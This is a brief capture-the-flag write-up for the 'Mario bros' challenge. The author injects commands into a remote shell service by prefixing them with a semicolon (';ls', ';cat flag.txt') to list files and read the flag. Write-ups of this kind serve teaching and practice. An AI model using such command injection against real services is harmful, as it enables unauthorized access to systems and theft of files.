EZ CTF : Mario bros!!

Statement: Read the flag!

For this challenge, I need to connect to the remote server.

Once connected, we are on a bash shell with the return: Are you root?

Sending a single value or command closes the shell and the connection to the server.

So I’m just trying to add a ; to inject a command: ;ls:

entrypoint.sh
flag.txt
pwn.sh
ucspi-tcp-0.88
ucspi-tcp-0.88.errno.patch
ucspi-tcp-0.88.tar.gz

I just have to read the content of the file flag.txt: ;cat flag.txt

Flag: EZ-CTF{UNSECUR3_B4SH}
